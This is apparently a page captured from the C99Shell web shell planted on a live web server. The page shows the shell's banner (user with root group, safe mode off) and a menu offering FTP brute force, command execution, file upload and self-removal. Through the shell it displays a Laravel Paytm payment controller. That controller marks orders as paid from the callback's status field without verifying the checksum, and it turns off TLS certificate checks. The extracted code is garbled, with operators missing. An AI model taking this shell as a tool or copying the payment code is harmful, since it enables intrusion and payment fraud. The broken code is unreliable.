!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/game.picotech.app/public_html/core/app/Http/Controllers/Payment/   drwxr-xr-x
Free 29.22 GB of 117.98 GB (24.77%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PaytmController.php (19.31 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Payment;

use 
App\Helpers\EmailHelper;
use 
App\Helpers\PriceHelper;
use 
App\Helpers\SmsHelper;
use 
Illuminate\Http\Request;
use 
App\Http\Controllers\Controller;
use 
App\Models\Currency;
use 
App\Models\Item;
use 
App\Models\Notification;
use 
App\Models\Order;
use 
App\Models\PaymentSetting;
use 
App\Models\PromoCode;
use 
App\Models\Setting;
use 
App\Models\ShippingService;
use 
App\Models\State;
use 
App\Models\TrackOrder;
use 
Carbon\Carbon;
use 
Illuminate\Support\Facades\Auth;
use 
Illuminate\Support\Facades\Session;
use 
Illuminate\Support\Str;

class 
PaytmController extends Controller
{
    public function 
store(Request $request)
    {
        
$request->validate([
            
'state_id' => State::whereStatus(1)->count() > 0  'required' '',
        ]);

        if(
Session::has('currency')){
            
$currency Currency::findOrFail(Session::get('currency'));
        }else{
            
$currency Currency::where('is_default',1)->first();
        }

        
$supported = ['INR'];
        if(!
in_array($currency->name,$supported)){
            
Session::flash('error',__('Currency Not Supported'));
            return 
redirect()->back();
        }

        
$user Auth::user();
        
$setting Setting::first();
        
$cart Session::get('cart');

        
$total_tax 0;
        
$cart_total 0;
        
$total 0;
        
$option_price 0;
        foreach(
$cart as $key => $item){

            
$total += $item['main_price'] * $item['qty'];
            
$option_price += $item['attribute_price'];
            
$cart_total $total $option_price;
            
$item Item::findOrFail($key);
            if(
$item->tax){
                
$total_tax += $item::taxCalculate($item);
            }
        }
        if (!
PriceHelper::Digital()) {
            
$shipping null;
        }else{
            
$shipping ShippingService::findOrFail($request['shipping_id']);
        }
        
$discount = [];
        if(
Session::has('coupon')){
            
$discount Session::get('coupon');
        }

        if (!
PriceHelper::Digital()){
            
$shipping null;
        }
        
        
$grand_total = ($cart_total + ($shipping?$shipping->price:0)) + $total_tax;
        
$grand_total $grand_total - ($discount $discount['discount'] : 0);
        
$grand_total += PriceHelper::StatePrce($request->state_id,$cart_total);
        
$total_amount PriceHelper::setConvertPrice($grand_total);
        
$orderData['state'] =  $request['state_id'] ? json_encode(State::findOrFail($request['state_id']),true) : null;
        
$orderData['cart'] = json_encode($cart,true);
        
$orderData['discount'] = json_encode($discount,true);
        
$orderData['shipping'] = json_encode($shipping,true);
        
$orderData['tax'] = $total_tax;
        
$orderData['state_price'] = PriceHelper::StatePrce($request['state_id'],$cart_total);
        
$orderData['shipping_info'] = json_encode(Session::get('shipping_address'),true);
        
$orderData['billing_info'] = json_encode(Session::get('billing_address'),true);
        
$orderData['payment_method'] = 'Paytm';
        
$orderData['order_status'] = 'Pending';
        
$orderData['user_id'] = isset($user) ? $user->id 0;
        
$orderData['transaction_number'] = Str::random(10);
        
$orderData['currency_sign'] = PriceHelper::setCurrencySign();
        
$orderData['currency_value'] = PriceHelper::setCurrencyValue();
        
$order Order::create($orderData);

        
$data_for_request $this->handlePaytmRequest($order->transaction_number,$total_amount);
        
$paytm_txn_url 'https://securegw-stage.paytm.in/theia/processTransaction';
        
$paramList $data_for_request['paramList'];
        
$checkSum $data_for_request['checkSum'];
        return 
view('front.paytm'compact('paytm_txn_url''paramList','checkSum'));
    }

    public function 
handlePaytmRequest($order_id$amount)
    {
        
$data PaymentSetting::whereUniqueKeyword('paytm')->first();
      
        
$paydata $data->convertJsonData();
        
// Load all functions of encdec_paytm.php and config-paytm.php
        
$this->getAllEncdecFunc();
        
// $this->getConfigPaytmSettings();
        
$checkSum "";
        
$paramList = array();
        
// Create an array having all required parameters for creating checksum.
        
$paramList["MID"] = $paydata['mercent'];
        
$paramList["ORDER_ID"] = $order_id;
        
$paramList["CUST_ID"] = $order_id;
        
$paramList["INDUSTRY_TYPE_ID"] = $paydata['industry'];
        
$paramList["CHANNEL_ID"] = 'WEB';
        
$paramList["TXN_AMOUNT"] = $amount;
        
$paramList["WEBSITE"] = $paydata['website'];
        
$paramList["CALLBACK_URL"] = route('front.paytm.notify');

        
$paytm_merchant_key $paydata['client_secret'];
        
//Here checksum string will return by getChecksumFromArray() function.
        
$checkSum getChecksumFromArray($paramList$paytm_merchant_key);
        return array(
            
'checkSum' => $checkSum,
            
'paramList' => $paramList
        
);
    }

    function 
getAllEncdecFunc()
    {
        function 
encrypt_e($input$ky)
        {
            
$key   html_entity_decode($ky);
            
$iv "@@@@&&&&####$$$$";
            
$data openssl_encrypt($input"AES-128-CBC"$key0$iv);
            return 
$data;
        }
        function 
decrypt_e($crypt$ky)
        {
            
$key   html_entity_decode($ky);
            
$iv "@@@@&&&&####$$$$";
            
$data openssl_decrypt($crypt"AES-128-CBC"$key0$iv);
            return 
$data;
        }
        function 
pkcs5_pad_e($text$blocksize)
        {
            
$pad $blocksize - (strlen($text) % $blocksize);
            return 
$text str_repeat(chr($pad), $pad);
        }
        function 
pkcs5_unpad_e($text)
        {
            
$pad ord($text[
                
strlen($text) - 1]);
            if (
$pad strlen($text))
                return 
false;
            return 
substr($text0, -$pad);
        }
        function 
generateSalt_e($length)
        {
            
$random "";
            
srand((float) microtime() * 1000000);
            
$data "AbcDE123IJKLMN67QRSTUVWXYZ";
            
$data .= "aBCdefghijklmn123opq45rs67tuv89wxyz";
            
$data .= "0FGH45OP89";
            for (
$i 0$i $length$i++) {
                
$random .= substr($data, (rand() % (strlen($data))), 1);
            }
            return 
$random;
        }
        function 
checkString_e($value)
        {
            if (
$value == 'null')
                
$value '';
            return 
$value;
        }
        function 
getChecksumFromArray($arrayList$key$sort 1)
        {
            if (
$sort != 0) {
                
ksort($arrayList);
            }
            
$str getArray2Str($arrayList);
            
$salt generateSalt_e(4);
            
$finalString $str "|" $salt;
            
$hash hash("sha256"$finalString);
            
$hashString $hash $salt;
            
$checksum encrypt_e($hashString$key);
            return 
$checksum;
        }
        function 
getChecksumFromString($str$key)
        {
            
$salt generateSalt_e(4);
            
$finalString $str "|" $salt;
            
$hash hash("sha256"$finalString);
            
$hashString $hash $salt;
            
$checksum encrypt_e($hashString$key);
            return 
$checksum;
        }
        function 
verifychecksum_e($arrayList$key$checksumvalue)
        {
            
$arrayList removeCheckSumParam($arrayList);
            
ksort($arrayList);
            
$str getArray2StrForVerify($arrayList);
            
$paytm_hash decrypt_e($checksumvalue$key);
            
$salt substr($paytm_hash, -4);
            
$finalString $str "|" $salt;
            
$website_hash hash("sha256"$finalString);
            
$website_hash .= $salt;
            
$validFlag "FALSE";
            if (
$website_hash == $paytm_hash) {
                
$validFlag "TRUE";
            } else {
                
$validFlag "FALSE";
            }
            return 
$validFlag;
        }
        function 
verifychecksum_eFromStr($str$key$checksumvalue)
        {
            
$paytm_hash decrypt_e($checksumvalue$key);
            
$salt substr($paytm_hash, -4);
            
$finalString $str "|" $salt;
            
$website_hash hash("sha256"$finalString);
            
$website_hash .= $salt;
            
$validFlag "FALSE";
            if (
$website_hash == $paytm_hash) {
                
$validFlag "TRUE";
            } else {
                
$validFlag "FALSE";
            }
            return 
$validFlag;
        }
        function 
getArray2Str($arrayList)
        {
            
$findme   'REFUND';
            
$findmepipe '|';
            
$paramStr "";
            
$flag 1;
            foreach (
$arrayList as $key => $value) {
                
$pos strpos($value$findme);
                
$pospipe strpos($value$findmepipe);
                if (
$pos !== false || $pospipe !== false) {
                    continue;
                }
                if (
$flag) {
                    
$paramStr .= checkString_e($value);
                    
$flag 0;
                } else {
                    
$paramStr .= "|" checkString_e($value);
                }
            }
            return 
$paramStr;
        }
        function 
getArray2StrForVerify($arrayList)
        {
            
$paramStr "";
            
$flag 1;
            foreach (
$arrayList as $key => $value) {
                if (
$flag) {
                    
$paramStr .= checkString_e($value);
                    
$flag 0;
                } else {
                    
$paramStr .= "|" checkString_e($value);
                }
            }
            return 
$paramStr;
        }
        function 
redirect2PG($paramList$key)
        {
            
$hashString getchecksumFromArray($paramList$key);
            
$checksum encrypt_e($hashString$key);
        }
        function 
removeCheckSumParam($arrayList)
        {
            if (isset(
$arrayList["CHECKSUMHASH"])) {
                unset(
$arrayList["CHECKSUMHASH"]);
            }
            return 
$arrayList;
        }
        function 
getTxnStatus($requestParamList)
        {
            return 
callAPI(PAYTM_STATUS_QUERY_URL$requestParamList);
        }
        function 
getTxnStatusNew($requestParamList)
        {
            return 
callNewAPI(PAYTM_STATUS_QUERY_NEW_URL$requestParamList);
        }
        function 
initiateTxnRefund($requestParamList)
        {
            
$CHECKSUM getRefundChecksumFromArray($requestParamListPAYTM_MERCHANT_KEY0);
            
$requestParamList["CHECKSUM"] = $CHECKSUM;
            return 
callAPI(PAYTM_REFUND_URL$requestParamList);
        }
        function 
callAPI($apiURL$requestParamList)
        {
            
$jsonResponse "";
            
$responseParamList = array();
            
$JsonData json_encode($requestParamList);
            
$postData 'JsonData=' urlencode($JsonData);
            
$ch curl_init($apiURL);
            
curl_setopt($chCURLOPT_CUSTOMREQUEST"POST");
            
curl_setopt($chCURLOPT_POSTFIELDS$postData);
            
curl_setopt($chCURLOPT_RETURNTRANSFERtrue);
            
curl_setopt($chCURLOPT_SSL_VERIFYHOST0);
            
curl_setopt($chCURLOPT_SSL_VERIFYPEER0);
            
curl_setopt(
                
$ch,
                
CURLOPT_HTTPHEADER,
                array(
                    
'Content-Type: application/json',
                    
'Content-Length: ' strlen($postData)
                )
            );
            
$jsonResponse curl_exec($ch);
            
$responseParamList json_decode($jsonResponsetrue);
            return 
$responseParamList;
        }
        function 
callNewAPI($apiURL$requestParamList)
        {
            
$jsonResponse "";
            
$responseParamList = array();
            
$JsonData json_encode($requestParamList);
            
$postData 'JsonData=' urlencode($JsonData);
            
$ch curl_init($apiURL);
            
curl_setopt($chCURLOPT_CUSTOMREQUEST"POST");
            
curl_setopt($chCURLOPT_POSTFIELDS$postData);
            
curl_setopt($chCURLOPT_RETURNTRANSFERtrue);
            
curl_setopt($chCURLOPT_SSL_VERIFYHOST0);
            
curl_setopt($chCURLOPT_SSL_VERIFYPEER0);
            
curl_setopt(
                
$ch,
                
CURLOPT_HTTPHEADER,
                array(
                    
'Content-Type: application/json',
                    
'Content-Length: ' strlen($postData)
                )
            );
            
$jsonResponse curl_exec($ch);
            
$responseParamList json_decode($jsonResponsetrue);
            return 
$responseParamList;
        }
        function 
getRefundChecksumFromArray($arrayList$key$sort 1)
        {
            if (
$sort != 0) {
                
ksort($arrayList);
            }
            
$str getRefundArray2Str($arrayList);
            
$salt generateSalt_e(4);
            
$finalString $str "|" $salt;
            
$hash hash("sha256"$finalString);
            
$hashString $hash $salt;
            
$checksum encrypt_e($hashString$key);
            return 
$checksum;
        }
        function 
getRefundArray2Str($arrayList)
        {
            
$findmepipe '|';
            
$paramStr "";
            
$flag 1;
            foreach (
$arrayList as $key => $value) {
                
$pospipe strpos($value$findmepipe);
                if (
$pospipe !== false) {
                    continue;
                }
                if (
$flag) {
                    
$paramStr .= checkString_e($value);
                    
$flag 0;
                } else {
                    
$paramStr .= "|" checkString_e($value);
                }
            }
            return 
$paramStr;
        }
        function 
callRefundAPI($refundApiURL$requestParamList)
        {
            
$jsonResponse "";
            
$responseParamList = array();
            
$JsonData json_encode($requestParamList);
            
$postData 'JsonData=' urlencode($JsonData);
            
$ch curl_init($refundApiURL);
            
curl_setopt($chCURLOPT_SSL_VERIFYHOST0);
            
curl_setopt($chCURLOPT_SSL_VERIFYPEER0);
            
curl_setopt($chCURLOPT_URL$refundApiURL);
            
curl_setopt($chCURLOPT_POSTtrue);
            
curl_setopt($chCURLOPT_POSTFIELDS$postData);
            
curl_setopt($chCURLOPT_RETURNTRANSFERtrue);
            
$headers = array();
            
$headers[] = 'Content-Type: application/json';
            
curl_setopt($chCURLOPT_HTTPHEADER$headers);
            
$jsonResponse curl_exec($ch);
            
$responseParamList json_decode($jsonResponsetrue);
            return 
$responseParamList;
        }
    }

    public function 
notify(Request $request)
    {
       
        
$order_id $request['ORDERID'];

        if ( 
'TXN_SUCCESS' === $request['STATUS'] ) {
            
$transaction_id $request['TXNID'];
            
            
$order Order::where('transaction_number'$order_id )->first();
            
            if (isset(
$order)) {
                
$data['txnid'] = $transaction_id;
                
$data['payment_status'] = 'Paid';
                
$order->update($data);
                
                
TrackOrder::create([
                    
'title' => 'Pending',
                    
'order_id' => $order->id,
                ]);
                
          
                
$user Auth::user();
                
$cart Session::get('cart');
                
$total_tax 0;
                
$cart_total 0;
                
$total 0;
                
$option_price 0;
                foreach(
$cart as $key => $item){
        
                    
$total += $item['main_price'] * $item['qty'];
                    
$option_price += $item['attribute_price'];
                    
$cart_total $total $option_price;
                    
$item Item::findOrFail($key);
                    if(
$item->tax){
                        
$total_tax += $item::taxCalculate($item);
                    }
                }
                
$shipping = [];
                if(
ShippingService::whereStatus(1)->whereId(1)->whereIsCondition(1)->exists()){
                    
$shipping ShippingService::whereStatus(1)->whereId(1)->whereIsCondition(1)->first();
                    if(
$cart_total >= $shipping->minimum_price){
                        
$shipping $shipping;
                    }else{
                        
$shipping = [];
                    }
                }
        
                if(!
$shipping){
                    
$shipping ShippingService::whereStatus(1)->where('id','!=',1)->first(); 
                }
                
$discount = [];
                if(
Session::has('coupon')){
                    
$discount Session::get('coupon');
                }
                
                
$grand_total = ($cart_total + ($shipping?$shipping->price:0)) + $total_tax;
                
$grand_total $grand_total - ($discount $discount['discount'] : 0);
                
$total_amount PriceHelper::setConvertPrice($grand_total);
                
                
$new_txn =  $new_txn 'ORD-' str_pad(Carbon::now()->format('Ymd'), 4'0000'STR_PAD_LEFT) . '-' $order->id;
                
$order->transaction_number $new_txn;
                
$order->save();
                
                
PriceHelper::Transaction($order->id,$order->transaction_number,EmailHelper::getEmail(),PriceHelper::OrderTotal($order,'trns'));
                
PriceHelper::LicenseQtyDecrese($cart);
                
PriceHelper::LicenseQtyDecrese($cart);
                
                
Notification::create([
                    
'order_id' => $order->id
                
]);

       
        
                
$emailData = [
                    
'to' => EmailHelper::getEmail(),
                    
'type' => "Order",
                    
'user_name' => isset($user) ? $user->displayName() : Session::get('billing_address')['bill_first_name'],
                    
'order_cost' => $total_amount,
                    
'transaction_number' => $order->transaction_number,
                    
'site_title' => Setting::first()->title,
                ];
        
                
$email = new EmailHelper();
                
$email->sendTemplateMail($emailData);
        
               
                
Session::put('order_id',$order->id);
                
Session::forget('cart');
                
Session::forget('discount');
                
Session::forget('coupon');
                if(
$discount){
                    
$coupon_id $discount['code']['id'];
                    
$get_coupon PromoCode::findOrFail($coupon_id);
                    
$get_coupon->no_of_times -= 1;
                    
$get_coupon->update();
                }
                
$setting Setting::first();

                if(
$setting->is_twilio == 1){
                    
// message
                    
$sms = new SmsHelper();
                    
$user_number json_decode($order->billing_info,true)['bill_phone'];
                    if(
$user_number){
                        
$sms->SendSms($user_number,"'purchase'",$order->transaction_number);
                    }
                }
                
                return 
redirect()->route('front.checkout.success');

            }

        } else if( 
'TXN_FAILURE' === $request['STATUS'] ){
            
$order Order::where('transaction_number'$order_id )->delete();
            return 
redirect()->route('front.checkout.cancle');
        }else{
            
$order Order::where('transaction_number'$order_id )->delete();
            return 
redirect()->route('front.checkout.redirect');

        }
    
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0056 ]--